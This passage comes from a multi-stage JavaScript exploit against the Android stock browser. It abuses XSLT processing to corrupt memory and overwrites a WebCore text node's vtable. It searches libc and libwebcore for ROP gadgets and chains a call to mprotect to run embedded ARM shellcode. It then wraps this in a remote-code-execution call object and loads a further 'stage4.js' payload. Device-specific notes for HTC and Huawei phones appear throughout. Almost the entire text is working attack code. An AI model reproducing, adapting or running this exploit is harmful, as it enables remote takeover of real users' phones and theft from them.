")"); trk *= arrays[i].byteLength; // trk *= -1; trk = -0x44 break; } } if (buffer === null) { ERR("ArrayBuffer not found. The browser will most likely crash when the current tab is closed."); } var memobj = new BufferMemoryObject(buffer); // Prevent dlfree() from unmapping the current page. It will stay mapped // until the browser is closed. memobj.write32(page.base, 0x12ffffff, true); var nnodes = 0; for (cur = addr + 0x1000; cur < addr + 0x1ff0; cur += 0x40) { page.write(cur - 4, 48 | 3); page.write(cur + 4, 0x900d); page.write(cur + 48 - 4, (addr + 0x2000 | 3)); page.write(cur + 24, cur + 0x40); nnodes += 1; } page.write(cur - 0x40 + 24, 0x0); xsltobj.free(addr + 0x1000); INFO("Node free() done"); var nodes = []; for (i = 0; i < nnodes * 3; i++) { nodes.push(document.createTextNode("hello" + i)); } // regular: size 0x33, type offset 36, string offset 40 function find_node_30(start, end, increment) { var nodeaddr = null; var node = null; for (var cur = start; cur < end; cur += increment) { if ((memobj.read32(cur - 4) == 0x33) && (memobj.read32(cur + 36) == 0x580001)) { INFO("Overwrite WebCore::Text @ " + cur.toString(16)); nodeaddr = cur; var m_data = memobj.read32(cur + 40); var stringdata = memobj.read32(m_data + 8); memobj.write8(stringdata, "W".charCodeAt(0)); var vtable = memobj.read32(cur); break; } } for (var i in nodes) { if (nodes[i].nodeValue.slice(0, 1) == "W") { INFO("Found node (position: " + i + ")"); node = nodes[i]; break; } } if (node === null || nodeaddr === null) { return null; } return {obj:node, addr:nodeaddr, dataoffset:40}; } // htc: size 0x43, type offset 40, string offset 52 // huawei: size 0x43, type offset 36, string offset 48 // HUAWEI Y530 // 7a60014c: 00000043 53937b88 53937d1c 00000001 // 7a60015c: 00000000 57030728 570b6318 00000000 // 7a60016c: 00000000 00000000 00580001 00000000 // 7a60017c: 00000000 7a6001a0 00000000 00000040 // 7a60018c: 7a600003 00000000 00000000 00000000 // 7a60019c: 0000002b 00000110 00000007 7a6001b4 // HTC One // 7a3832dc: 00000043 6ad64188 6ad64334 00000001 // 7a3832ec: 00000000 70dd8058 6ee7bb00 00000000 // 7a3832fc: 00000000 00000000 00000000 00580001 // 7a38330c: 00000000 00000000 7a383330 00000000 // 7a38331c: 7a383003 00000000 00000000 00000000 // 7a38332c: 0000002b 00000110 00000007 7a383344 function find_node_40(start, end, increment) { var nodeaddr = null; var node = null; var dataoffset = null; for (var cur = start; cur < end; cur += increment) { if (memobj.read32(cur - 4) == 0x43) { for (var i = 0; i < 0x10; i++) { var value = memobj.read32(cur + i * 4); if (value == 0x580001) { dataoffset = (i * 4) + 12; INFO("Overwrite WebCore::Text @ " + hex(cur)); nodeaddr = cur; var m_data = memobj.read32(cur + dataoffset); if (m_data < 0x10000) { INFO("find_node_40: Invalid data value for text node: " + hex(m_data, 8) + " (type offset: " + i*4 + ", dataoffset: " + dataoffset); return null; } var stringdata = memobj.read32(m_data + 8); memobj.write8(stringdata, "W".charCodeAt(0)); var vtable = memobj.read32(cur); break; } } break; } } for (var i in nodes) { if (nodes[i].nodeValue.slice(0, 1) == "W") { INFO("Found node (position: " + i + ")"); node = nodes[i]; break; } } if (node === null || addr === null) { return null; } return {obj:node, addr:nodeaddr, dataoffset:dataoffset}; } var node = find_node_30(addr + 0x1000, addr + 0x2000, 0x40); if (node === null) { INFO("Node not found. Trying the alternate node data structure"); // Some Android 4.3 versions have a different text node data structure which is 0x40 bytes long. nnodes = 0; for (cur = addr + 0x2100; cur < addr + 0x3000; cur += 0x50) { page.write(cur - 4, 0x40 | 3); page.write(cur + 4, 0x900d); page.write(cur + 24, cur + 0x50); page.write(cur + 0x40 - 4, (addr + 0x2000 | 3)); nnodes += 1; } page.write(cur - 0x50 + 24, 0x0); xsltobj.free(addr + 0x2100); INFO("Retry node free() done"); nodes = []; for (i = 0; i < nnodes * 3; i++) { nodes.push(document.createTextNode("hello" + i)); } node = find_node_40(addr + 0x2100, addr + 0x3000, 0x50); } xsltobj.terminate(); INFO("xsltobject removed"); // From now on the browser won't crash if the tab is closed if (node === null) { if (ENABLE_DEBUG) { INFO("The overwritten node object could not be found"); INFO(" "); INFO("-------- EXPLOIT ERROR -- DEBUG DUMP --------"); INFO(" "); for (var cur = addr + 0x1000; cur < addr + 0x2000; cur += 0x40) { for (var ca = cur - 4; ca < cur + 0x40; ca +=16) { INFO(hex(ca, 8) + ": " + hex(memobj.read32(ca), 8) + " " + hex(memobj.read32(ca+4), 8) + " " + hex(memobj.read32(ca+8), 8) + " " + hex(memobj.read32(ca+12), 8)); } INFO(" "); } INFO("---------------------------------------------"); for (var cur = addr + 0x2100; cur < addr + 0x3000; cur += 0x50) { for (var ca = cur - 4; ca < cur + 0x50; ca +=16) { INFO(hex(ca, 8) + ": " + hex(memobj.read32(ca), 8) + " " + hex(memobj.read32(ca+4), 8) + " " + hex(memobj.read32(ca+8), 8) + " " + hex(memobj.read32(ca+12), 8)); } INFO(" "); } INFO("---------------------------------------------"); } ERR("The overwritten node object could not be found"); } stage3(memobj, webcoretext, node, addr, page); } // [ Stage 3 ] -------------------------------------------------------------- // // Callstub to be filled at compile time var CALLSTUB = [0xff, 0x40, 0x2d, 0xe9, 0x46, 0x4f, 0x8f, 0xe2, 0x00, 0x40, 0x94, 0xe5, 0x00, 0x50, 0x94, 0xe5, 0x00, 0x00, 0x55, 0xe3, 0x11, 0x00, 0x00, 0x0a, 0x04, 0x70, 0x94, 0xe5, 0x00, 0x00, 0x57, 0xe3, 0x04, 0x00, 0x00, 0x0a, 0x02, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x1c, 0x00, 0x84, 0xe5, 0x00, 0x00, 0x50, 0xe3, 0x34, 0x00, 0x00, 0x1a, 0x08, 0x00, 0x94, 0xe5, 0x0c, 0x10, 0x94, 0xe5, 0x10, 0x20, 0x94, 0xe5, 0x14, 0x30, 0x94, 0xe5, 0x18, 0x40, 0x94, 0xe5, 0x35, 0xff, 0x2f, 0xe1, 0xcc, 0x40, 0x8f, 0xe2, 0x00, 0x40, 0x94, 0xe5, 0x1c, 0x00, 0x84, 0xe5, 0x2a, 0x00, 0x00, 0xea, 0xc4, 0x50, 0x8f, 0xe2, 0x00, 0x50, 0x95, 0xe5, 0x00, 0x50, 0x84, 0xe5, 0x9c, 0x00, 0x8f, 0xe2, 0x00, 0x00, 0x90, 0xe5, 0x98, 0x40, 0x8f, 0xe2, 0x00, 0x40, 0x94, 0xe5, 0x94, 0x50, 0x8f, 0xe2, 0x00, 0x50, 0x95, 0xe5, 0x00, 0xd0, 0x90, 0xe5, 0x04, 0xd0, 0x4d, 0xe2, 0x00, 0x00, 0x9d, 0xe5, 0x04, 0x00, 0x50, 0xe1, 0xfb, 0xff, 0xff, 0x3a, 0x05, 0x00, 0x50, 0xe1, 0xf9, 0xff, 0xff, 0x2a, 0x20, 0xd0, 0x8d, 0xe2, 0x70, 0x40, 0x8f, 0xe2, 0x00, 0x40, 0x94, 0xe5, 0x6c, 0x50, 0x8f, 0xe2, 0x00, 0x50, 0x95, 0xe5, 0x08, 0x00, 0x9d, 0xe5, 0x04, 0x00, 0x50, 0xe1, 0x0b, 0x00, 0x00, 0x3a, 0x05, 0x00, 0x50, 0xe1, 0x09, 0x00, 0x00, 0x2a, 0x58, 0x00, 0x8f, 0xe2, 0x00, 0x00, 0x90, 0xe5, 0x01, 0x00, 0x50, 0xe3, 0x00, 0x00, 0x00, 0x0a, 0x30, 0x80, 0xbd, 0xe8, 0x40, 0xb0, 0x8f, 0xe2, 0x00, 0xb0, 0x9b, 0xe5, 0x30, 0x00, 0xbd, 0xe8, 0x74, 0x6a, 0x94, 0xe5, 0x04, 0xf0, 0x9d, 0xe4, 0x0c, 0x00, 0x9d, 0xe5, 0x04, 0x00, 0x50, 0xe1, 0x02, 0x00, 0x00, 0x3a, 0x05, 0x00, 0x50, 0xe1, 0x00, 0x00, 0x00, 0x2a, 0x70, 0x80, 0xbd, 0xe8, 0xf0, 0x80, 0xbd, 0xe8, 0xff, 0x80, 0xbd, 0xe8, 0x00, 0xdd, 0xda, 0xba, 0x01, 0xdd, 0xda, 0xba, 0x02, 0xdd, 0xda, 0xba, 0x03, 0xdd, 0xda, 0xba, 0x04, 0xdd, 0xda, 0xba, 0x05, 0xdd, 0xda, 0xba, 0x06, 0xdd, 0xda, 0xba, 0x07, 0xdd, 0xda, 0xba]; function stage3 (memobj, webcoretext, node, addr, page) { INFO("> [ Stage 3 ]"); // Find libwebcore.so ELF header var webcore_base = memobj.findimagebase(webcoretext); INFO("Found libwebcore.so imagebase: " + webcore_base.toString(16)); var libwebcore = new ELFObject(webcore_base, memobj); var fopen = libwebcore.findreloc("fopen"); INFO("fopen address = " + fopen.toString(16)); // Find libc base address var libcbase = memobj.findimagebase(fopen); INFO("libc base address: " + libcbase.toString(16)); var libc = new ELFObject(libcbase, memobj); // [ Gadget search ] ---------------------------------------------------- // INFO("Searching gadgets ..."); var gadgets = {}; // Gadget 2 in libc // BD 46 MOV SP, R7 // BD E8 B0 40 POP.W {R4,R5,R7,LR} // 03 B0 ADD SP, SP, #0xC // 70 47 BX LR gadgets.ggt2 = {addr: libc.findstring( "\u46bd\ue8bd\u40b0\ub003\u4770", node )}; if (gadgets.ggt2.addr === null) { INFO("Gadget 2 not found: trying alternate chain"); stage3_alternate(memobj, node, addr, page, libwebcore, libc); return; } check_gadgets(gadgets); // Gadget 1 (in libwebcore) // 07 68 LDR R7, [R0] // ? ? LDR R{reg}, [R7,#{disp}] // ? 47 BLX R{reg} gadgets.ggt1 = gadget1_fastheur(libwebcore, node); if (gadgets.ggt1 === null) { INFO("fastheur failed"); gadgets.ggt1 = gadget1_slowsearch(libwebcore, memobj, node); } else { INFO("Found Gadget 1 via fastheur"); } check_gadgets(gadgets); // 61 60 STR R1, [R4,#4] // 10 BD POP {R4,PC} gadgets.str_r1_r4 = {addr: libc.findstring( "\u6061\ubd10", node ), disp: 4}; if (gadgets.str_r1_r4.addr === null) { // Alternate gadget // 21 60 STR R1, [R4] // 10 BD POP {R4,PC} gadgets.str_r1_r4 = {addr: libc.findstring( "\u6021\ubd10", node ), disp: 0}; } // If the libc search did not succeed try libwebcore if (gadgets.str_r1_r4.addr === null) { gadgets.str_r1_r4 = {addr: libwebcore.findstring( "\u6021\ubd10", node ), disp: 0}; } if (gadgets.str_r1_r4.addr === null) { gadgets.str_r1_r4 = {addr: libwebcore.findstring( "\u6061\ubd10", node ), disp: 4}; } check_gadgets(gadgets); // 01 80 BD E8 LDMFD SP!, {R0,PC} gadgets.pop_r0_pc = {addr: libc.findstring( "\u8001\ue8bd", node )}; check_gadgets(gadgets); // 3E BD POP {R1-R5,PC} gadgets.pop_r1__r5_pc = {addr: libc.findstring( "\ubd3e", node )}; check_gadgets(gadgets); INFO("--- Gadget search completed --- "); if (ENABLE_DEBUG) { for (var name in gadgets) { var extra = ""; for (var attr in gadgets[name]) { if (attr != "addr") { extra += attr + ": " + gadgets[name][attr] + " "; } } if (extra !== "") { extra = "[ " + extra + "]"; } INFO(" " + hex(gadgets[name].addr, 8) + " " + name + " " + extra); } } // Create a fake vtable @ addr + 0x8000, fill it with gadget1 var fakevtable = addr + 0x8000; for (var j = 0; j < 94; j++) { memobj.write32(fakevtable + j * 4, gadgets.ggt1.addr + 1); // memobj.write32(fakevtable + j * 4, 0x40404040); } memobj.write32(fakevtable + 0, 0xba434343); // R4 memobj.write32(fakevtable + 4, 0xba444444); // R5 memobj.write32(fakevtable + 8, addr + 0x8400); // R7 final ROP stack memobj.write32(fakevtable + 12, gadgets.ggt2.addr + 1); // LR // Create a chain to ggt2 memobj.write32(fakevtable + gadgets.ggt1.disp, gadgets.ggt2.addr + 1); // [ Final ROP Stack ] ---------------------------------------------------- // var mprotect = libc.findsymbol("mprotect"); INFO("mprotect address: " + hex(mprotect)); INFO("Stack will be written in " + hex(addr + 0x8300 + gadgets.str_r1_r4.disp)); var ropstack = addr + 0x8400; var shellcode_addr = addr + 0xa000; var ropstack_content = [ addr + 0x8300, // R4 -- R1 will be copied here 0xdeadbee5, // R5 0xdeadbee7, // R7 gadgets.str_r1_r4.addr + 1, // LR 0xdeadbee0, // compensate for add sp, sp, #0xc in ggt2 0xdeadbee4, 0xdeadbee8, 0xdeadbee4, // R4 gadgets.pop_r0_pc.addr, // PC page.base, // R0 -- addr gadgets.pop_r1__r5_pc.addr + 1, // PC page.size - 0x100, // R1 -- size 7, // R2 -- PROT_READ | PROT_WRITE | PROT_EXEC 0, // R3 ropstack + 4, // R4 (trash values on this stack) 0, // R5 mprotect, // PC mprotect will return to lr (str_r1_r4, set by ggt2) // so R4 will need to be set to a dummy writable memory address 0, // R4 shellcode_addr, // PC ]; for (var i in ropstack_content) { memobj.write32(ropstack + i*4, ropstack_content[i]); } // [ Call stub ] ------------------------------------------------------------ // // Setup structfn where to store parameters, function addresses and return values var structfn = addr + 0x6000 memobj.write32(structfn + 0, 0); memobj.write32(structfn + 4, 0); memobj.write32(structfn + 8, 0); memobj.write32(structfn + 12, 0); memobj.write32(structfn + 16, 0); memobj.write32(structfn + 20, 0); memobj.write32(structfn + 24, 0); memobj.write32(structfn + 28, 0); for (var i = 0; i < CALLSTUB.length; i++) { memobj.write8(shellcode_addr + i, CALLSTUB[i]); } // Check if this is one of those lucky phones that have a // SEPARATE v8 library var v8start = libwebcore.addr; var v8end = libwebcore.addr + libwebcore.size var v8enter = libwebcore.findreloc("_ZN2v87Context5EnterEv"); if (v8enter !== null) { INFO("v8 is separate from libwebcore. Adjusting checks..."); var v8 = memobj.findimagebase(v8enter); v8 = new ELFObject(v8, memobj); v8start = v8.addr; v8end = v8.addr + v8.size; } // Fill the variable shellcode words for (var i = 0; i < CALLSTUB.length/4; i++) { switch (memobj.read32(shellcode_addr + i*4)) { case 0xbadadd00: memobj.write32(shellcode_addr + i*4, addr + 0x8300 + gadgets.str_r1_r4.disp); break; case 0xbadadd01: memobj.write32(shellcode_addr + i*4, libwebcore.addr); break; case 0xbadadd02: memobj.write32(shellcode_addr + i*4, libwebcore.addr + libwebcore.size); break; case 0xbadadd03: memobj.write32(shellcode_addr + i*4, v8start); break; case 0xbadadd04: memobj.write32(shellcode_addr + i*4, v8end); break; case 0xbadadd05: memobj.write32(shellcode_addr + i*4, structfn); break; case 0xbadadd06: memobj.write32(shellcode_addr + i*4, 0); break; } } var vtable = memobj.read32(node.addr); // PC control (arbitrary address) // Replace the vtable memobj.write32(node.addr, fakevtable); // Call the function (yes this is a function call) node.obj.nodeValue = "x"; // Put the vtable down, NAO memobj.write32(node.addr, vtable); INFO("Got out of function call. Building RCECall"); var result = memobj.read32(structfn); memobj.write32(structfn, 0x0); var rce = new RCE(memobj, node, structfn, shellcode_addr, fakevtable); trk *= result; download_stage4(memobj, rce, libc, libwebcore, addr, trk); // -------------------------------------------------------------------------- // } function check_gadgets(gadgets) { for (var name in gadgets) { if (gadgets[name] === null || gadgets[name].addr === null) { ERR("Cannot find gadget: " + name); } } } function gadget1_fastheur(libwebcore, node) { // 6807 LDR R7, [R0] // 687d LDR R5, [R7, #0x4] // 47a8 BLX R5 var gadget_addr = libwebcore.findstring( "\u6807\u687d\u47a8", node, 0x200000 ); if (gadget_addr === null) return null; return {addr: gadget_addr, reg: 5, disp: 4}; } function gadget1_slowsearch(libwebcore, memobj, node) { node.obj.nodeValue = "gadget1_slowsearch"; var m_data = memobj.read32(node.addr + node.dataoffset); var oldaddr = memobj.read32(m_data + 8); var oldlen = memobj.read32(m_data + 4); memobj.write32(m_data + 8, libwebcore.addr); memobj.write32(m_data + 4, libwebcore.size/2); // Gadget 1 // .text:0039F34A 07 68 LDR R7, [R0] // .text:0039F34C ? ? LDR Rx, [R7,#y] // .text:0039F34E ? 47 BLX Rx // LDR Rt, [Rn, #imm] // |15 14 13 12 11|10 09 08 07 06|05 04 03|02 01 00| // | 0 1 1 0 1| imm5 | Rn | Rt | // imm = imm5 << 2 // BLX Rm // |15 14 13 12 11 10 09 08 07|06 05 04 03|02 01 00| // | 0 1 0 0 0 1 1 1 1| Rm | 0 0 0| var searchindex = 0; while (true) { var candidateindex = node.obj.nodeValue.indexOf("\u6807", searchindex); if (candidateindex == -1) { memobj.write32(m_data + 8, oldaddr); memobj.write32(m_data + 4, oldlen); return null; } searchindex = candidateindex + 1; var candidate = libwebcore.addr + candidateindex * 2; var i2 = memobj.read16(candidate + 2); if ((i2 & 0xf800) != 0x6800) continue; var i3 = memobj.read16(candidate + 4); if ((i3 & 0xff80) != 0x4780) continue; var imm = ((i2 >> 6) & 0x1f) << 2; var rn = (i2 >> 3) & 7; var rt = i2 & 7; var rm = (i3 >> 3) & 7; var i1 = memobj.read16(candidate); if (rn != 7) continue; if (rt != rm) continue; if (imm == 8 || imm == 12) continue; // reserved for ROP if (imm > 0x14 * 4 && imm < 0x30 * 4) continue; // reserved for vtable if (rt == 1 || rt == 7 || rt == 6) continue; if (ENABLE_DEBUG) { INFO("Found Gadget 1 @ " + hex(candidate) + " (" + hex(candidate - libwebcore.addr) + ")"); INFO(" \\x" + hex(memobj.read8(candidate + 0), 2) + "\\x" + hex(memobj.read8(candidate + 1), 2) + "\\x" + hex(memobj.read8(candidate + 2), 2) + "\\x" + hex(memobj.read8(candidate + 3), 2) + "\\x" + hex(memobj.read8(candidate + 4), 2) + "\\x" + hex(memobj.read8(candidate + 5), 2)); INFO(" " + hex(i1, 4) + " LDR R7, [R0]"); INFO(" " + hex(i2, 4) + " LDR R" + rt + ", [R" + rn + ", #0x" + hex(imm) + "]"); INFO(" " + hex(i3, 4) + " BLX R" + rm); INFO(" "); } memobj.write32(m_data + 8, oldaddr); memobj.write32(m_data + 4, oldlen); return {addr: candidate, reg: rt, disp: imm}; } } // ARM gadgets variant of stage 3. Some lucky phones have more functions in libc // and libwebcore compiled in ARM mode (32bit). // Gadgets and the ROP stack are different for those phones. function stage3_alternate(memobj, node, addr, page, libwebcore, libc) { var gadgets = {}; // Gadget 2 in libc // .text:0001F988 08 D0 4B E2 SUB SP, R11, #8 // .text:0001F98C 10 48 BD E8 LDMFD SP!, {R4,R11,LR} // .text:0001F990 0C D0 8D E2 ADD SP, SP, #0xC // .text:0001F994 1E FF 2F E1 BX LR gadgets.ggt2 = {addr: libc.findstring( "\ud008\ue24b\u4810\ue8bd\ud00c\ue28d\uff1e\ue12f", node )}; check_gadgets(gadgets); // Gadget 1 in libwebcore // .text:00443010 00 B0 90 E5 LDR R11, [R0] // .text:00443014 08 20 9B E5 LDR R2, [R11,#8] // .text:00443018 32 FF 2F E1 BLX R2 gadgets.ggt1 = {addr: libwebcore.findstring( "\ub000\ue590\u2008\ue59b\uff32\ue12f", node )}; check_gadgets(gadgets); // str_r1_r4 in libwebcore // .text:000FD824 21 60 STR R1, [R4] // .text:000FD826 70 BD POP {R4-R6,PC} gadgets.str_r1_r4 = {addr: libwebcore.findstring( "\u6021\ubd70", node ), disp: 0}; check_gadgets(gadgets); // .text:0001CF4C 01 80 BD E8 LDMFD SP!, {R0,PC} gadgets.pop_r0_pc = {addr: libc.findstring( "\u8001\ue8bd", node )}; check_gadgets(gadgets); // .text:00012B30 3E BD POP {R1-R5,PC} gadgets.pop_r1__r5_pc = {addr: libwebcore.findstring( "\ubd3e", node )}; check_gadgets(gadgets); INFO("--- Gadget search completed --- "); if (ENABLE_DEBUG) { for (var name in gadgets) { var extra = ""; for (var attr in gadgets[name]) { if (attr != "addr") { extra += attr + ": " + gadgets[name][attr] + " "; } } if (extra !== "") { extra = "[ " + extra + "]"; } INFO(" " + hex(gadgets[name].addr, 8) + " " + name + " " + extra); } } // alert("Stage3 alternate ARM: gadget search completed"); // Create a fake vtable @ addr + 0x8000, fill it with gadget1 var fakevtable = addr + 0x8000; for (var j = 0; j < 94; j++) { memobj.write32(fakevtable + j * 4, gadgets.ggt1.addr); // memobj.write32(fakevtable + j * 4, 0x40404040); } var ropstack = addr + 0x8400; memobj.write32(fakevtable - 8, 0xba434343); // R4 memobj.write32(fakevtable - 4, ropstack + 8); // R11 memobj.write32(fakevtable + 0, gadgets.ggt2.addr); // LR memobj.write32(fakevtable + 4, 0xba464646); memobj.write32(fakevtable + 8, gadgets.ggt2.addr); // chain to ggt2 // [ Alternate ROP Stack ] ------------------------------------------------- // var mprotect = libc.findsymbol("mprotect"); INFO("mprotect address: " + hex(mprotect)); INFO("Stack will be written in " + hex(addr + 0x8300 + gadgets.str_r1_r4.disp)); var shellcode_addr = addr + 0xa000; var ropstack_content = [ addr + 0x8300, // R4 -- R1 will be copied here 0xdeadbee5, // R11 gadgets.str_r1_r4.addr + 1, // LR 0xdeadbee0, // compensate for add sp, sp, #0xc in ggt2 0xdeadbee4, 0xdeadbee8, 0xdeadbee4, // R4 0xdeadbee5, // R5 0xdeadbee6, // R6 gadgets.pop_r0_pc.addr, // PC page.base, // R0 -- addr gadgets.pop_r1__r5_pc.addr + 1, // PC page.size - 0x100, // R1 -- size 7, // R2 -- PROT_READ | PROT_WRITE | PROT_EXEC 0, // R3 ropstack + 4, // R4 (trash values on this stack) 0, // R5 mprotect, // PC mprotect will return to lr (str_r1_r4, set by ggt2) // so R4 will need to be set to a dummy writable memory address 0xdeadbad4, // R4 0xdeadbad5, // R5 0xdeadbad6, // R6 shellcode_addr, // PC ]; for (var i in ropstack_content) { memobj.write32(ropstack + i*4, ropstack_content[i]); } // [ Call stub ] ------------------------------------------------------------ // // Setup structfn where to store parameters, function addresses and return values var structfn = addr + 0x6000 memobj.write32(structfn + 0, 0); memobj.write32(structfn + 4, 0); memobj.write32(structfn + 8, 0); memobj.write32(structfn + 12, 0); memobj.write32(structfn + 16, 0); memobj.write32(structfn + 20, 0); memobj.write32(structfn + 24, 0); memobj.write32(structfn + 28, 0); for (var i = 0; i < CALLSTUB.length; i++) { memobj.write8(shellcode_addr + i, CALLSTUB[i]); } // Check if this is one of those lucky phones that have a // SEPARATE v8 library var v8start = libwebcore.addr; var v8end = libwebcore.addr + libwebcore.size var v8enter = libwebcore.findreloc("_ZN2v87Context5EnterEv"); if (v8enter !== null) { INFO("v8 is separate from libwebcore. Adjusting checks..."); var v8 = memobj.findimagebase(v8enter); v8 = new ELFObject(v8, memobj); v8start = v8.addr; v8end = v8.addr + v8.size; } // Fill the variable shellcode words for (var i = 0; i < CALLSTUB.length/4; i++) { switch (memobj.read32(shellcode_addr + i*4)) { case 0xbadadd00: memobj.write32(shellcode_addr + i*4, addr + 0x8300 + gadgets.str_r1_r4.disp); break; case 0xbadadd01: memobj.write32(shellcode_addr + i*4, libwebcore.addr); break; case 0xbadadd02: memobj.write32(shellcode_addr + i*4, libwebcore.addr + libwebcore.size); break; case 0xbadadd03: memobj.write32(shellcode_addr + i*4, v8start); break; case 0xbadadd04: memobj.write32(shellcode_addr + i*4, v8end); break; case 0xbadadd05: memobj.write32(shellcode_addr + i*4, structfn); break; case 0xbadadd06: memobj.write32(shellcode_addr + i*4, 1); break; } } var vtable = memobj.read32(node.addr); // PC control (arbitrary address) // Replace the vtable memobj.write32(node.addr, fakevtable); // Call the function (yes this is a function call) node.obj.nodeValue = "x"; // Put the vtable down, NAO memobj.write32(node.addr, vtable); INFO("Got out of function call. Building RCECall"); var result = memobj.read32(structfn); memobj.write32(structfn, 0x0); trk *= result; var rce = new RCE(memobj, node, structfn, shellcode_addr, fakevtable); download_stage4(memobj, rce, libc, libwebcore, addr, trk); } function download_stage4(memobj, rce, libc, libwebcore, addr, trk) { var stage4_script = document.createElement('script'); stage4_script.type = 'text/javascript'; stage4_script.onload = function () { window['stage4'](memobj, rce, libc, libwebcore, addr); }; stage4_script.src = 'stage4.js?trk=' + trk.toString(); document.getElementsByTagName('head')[0].appendChild(stage4_script); } // [ RCE object ] ----------------------------------------------------------- // /** * @constructor */ function RCE(memobj, node, structfn, callstub, fakevtable) { this.node = node; this.structfn = structfn; this.callstub = callstub; this.memobj = memobj; this.fakevtable = fakevtable; } window["RCE"] = RCE; RCE.prototype.call = function(fn, r0, r1, r2, r3, r4, forking) { if (fn === undefined || fn === null) { ERR("RCE: function address cannot be " + fn); } if (r0 === undefined) r0 = 0; if (r1 === undefined) r1 = 0; if (r2 === undefined) r2 = 0; if (r3 === undefined) r3 = 0; if (r4 === undefined) r4 = 0; if (forking === undefined) forking = 0; if (forking === false) forking = 0; if (forking === true) forking = 1; if (forking !== 0 && forking !== 1) { ERR("RCE.call: forking cannot be " + forking.toString()); } this.memobj.write32(this.structfn + 0, fn); this.memobj.write32(this.structfn + 4, forking); this.memobj.write32(this.structfn + 8, r0); this.memobj.write32(this.structfn + 12, r1); this.memobj.write32(this.structfn + 16, r2); this.memobj.write32(this.structfn + 20, r3); this.memobj.write32(this.structfn + 24, r4); var vtable = this.memobj.read32(this.node.addr); // Fill the vtable with callstub, if it's not already there if (this.memobj.read32(this.fakevtable) != this.callstub) { for (var j = 0; j < 94; j++) { this.memobj.write32(this.fakevtable + j * 4, this.callstub); // memobj.write32(addr + 0x8000 + j * 4, 0x40404040); } } // Replace the vtable this.memobj.write32(this.node.addr, this.fakevtable); // Call the function (yes this is a function call) this.node.obj.nodeValue = "x"; // Put the vtable down, NAO this.memobj.write32(this.node.addr, vtable); var ret = this.memobj.read32(this.structfn + 28); return ret; }; RCE.prototype["call"] = RCE.prototype.call; RCE.prototype.forkingcall = function(fn, r0, r1, r2, r3, r4) { if (fn === undefined || fn === null) { ERR("RCE: function address cannot be " + fn); } if (r0 === undefined) r0 = 0; if (r1 === undefined) r1 = 0; if (r2 === undefined) r2 = 0; if (r3 === undefined) r3 = 0; if (r4 === undefined) r4 = 0; return this.call(fn, r0, r1, r2, r3, r4, true); }; RCE.prototype["forkingcall"] = RCE.prototype.forkingcall; // [ XSLT exploit object ] -------------------------------------------------- // /** * @constructor */ function XSLTObject(page, childrenaddr, nameaddr, elementaddr, xml) { if (page === undefined) { ERR("XSLTObject: A page object is required."); } if (childrenaddr === undefined) { ERR("XSLTObject: A children address is required."); } if (nameaddr === undefined) { ERR("XSLTObject: A name address is required."); } if (elementaddr === undefined) { ERR("XSLTObject: A root element address is required."); } if (xml === undefined) { ERR("XSLTObject: An xml document object is required."); } // Register this object globally window['g_xsltobj'] = this; this.alive = true; this.page = page; this.ca = childrenaddr; this.na = nameaddr; this.ea = elementaddr; this.xml = xml; INFO("Creating XSLTObject: ca " + hex(this.ca, 8) + " na " + hex(this.na, 8) + " ea " + hex(this.ea, 8)); // Spring cleaning for (var i = 0; i < 0x6000/4; i++) { page.write(this.ca + i*4, 0); } } XSLTObject.prototype.processXSL = function(xslsource) { var processor = new XSLTProcessor(); var xsl = parseXML(xslsource); processor.importStylesheet(xsl); var result = processor.transformToDocument(this.xml); return result; }; // Zeroes any dword in memory XSLTObject.prototype.zero = function (addr) { this.page.write(this.ca + 4, 14); // children->type = XML_DTD_NODE this.page.write(this.ca + 24, 0); // children->next = 0x0 this.page.write(this.ca + 28, addr - 24); // children->prev = addr - offset(next) var xsl = '' + '' + ' ' + '' + ''; this.processXSL(xsl); // Clean up this.page.write(this.ca + 4, 0); this.page.write(this.ca + 28, 0); }; // Frees address addr, and then follows the node chain. // Every node with invalid type will be freed. XSLTObject.prototype.free = function (addr) { this.page.write(this.ca + 4, 14); this.page.write(this.ca + 24, addr); // children->next = freenode // This will attempt to free addr this.page.write(addr + 4, 0xbad); // freenode->type invalid var xsl = '' + '' + ' ' + '' + ''; var res = this.processXSL(xsl); this.page.write(this.ca + 4, 0); this.page.write(this.ca + 24, 0); }; // readstring copies a null terminated string in memory. Any non-ascii character is %-escaped XSLTObject.prototype.readstring = function (addr) { var old_4 = this.page.read(this.ca + 4); var old_40 = this.page.read(this.ca + 40); this.page.write(this.ca + 4, 3); // children->type = XML_TEXT_NODE this.page.write(this.ca + 40, addr); // children->content = addr var xsl = '' + '' + '' + 'DATA=' + '' + '' + ''; var res = this.processXSL(xsl); if (res === undefined) { ERR("XSLTObject.readstring: cannot process XSLT."); } var data = res.getElementsByTagName("data")[0]; var ret = data.childNodes[0].nodeValue.slice(5); // Clean up this.page.write(this.ca + 4, old_4); this.page.write(this.ca + 40, old_40); return ret; }; // Reads an arbitrary number of bytes by leveraging string read. XSLTObject.prototype.readbytes = function (addr, nbytes) { if (addr === undefined) { ERR("XSLTObject.readbytes: an address is required"); } if (nbytes === undefined) { ERR("XSLTObject.readbytes: a number of bytes is required"); } var bytes = []; var s; var cur = addr; var read = 0; var i = 0; while (read < nbytes) { s = this.readstring(cur); i = 0; while (read < nbytes && i < s.length) { if (s[i] == "%") { bytes.push(parseInt(s.slice(i+1, i+3), 16)); i += 3; } else { bytes.push(s.charCodeAt(i)); i += 1; } read += 1; } if (read < nbytes) { bytes.push(0); read += 1; } cur = addr + read; } return bytes; }; // Reads a dword (or "word" in ARM speaking) 32bit unsigned integer XSLTObject.prototype.read32 = function (addr) { var bytes = this.readbytes(addr, 4); return (bytes[0] | bytes[1] << 8 | bytes[2] << 16 | (bytes[3] << 24)>>>0)>>>0; }; // Resets the original XML document values so that the browser won't crash // when the current tab is closed. // NOTE: The XSLTObject won't be usable anymore! This is the last function // to call. XSLTObject.prototype.terminate = function () { this.zero(this.ea + 40); // element->content this.page.write(this.na + 0x100, stringtoarray("qel")); // kill both element->name and element->children in one go this.page.write(this.ca + 4, 1); // qel1->type = XML_ELEMENT_NODE this.page.write(this.ca + 8, this.na + 0x100); // qel1->name = "qel" this.page.write(this.ca + 12, this.ca + 0x80); // qel1->children this.page.write(this.ca + 24, this.ca + 0x40); // qel1->next = qel2 this.page.write(this.ca + 0x40 + 4, 1); // qel2->type = XML_ELEMENT_NODE this.page.write(this.ca + 0x40 + 8, this.na + 0x100); // qel2->name = "qel" this.page.write(this.ca + 0x40 + 12, this.ca + 0xb0); // qel2->children this.page.write(this.ca + 0x80 + 4, 14); // 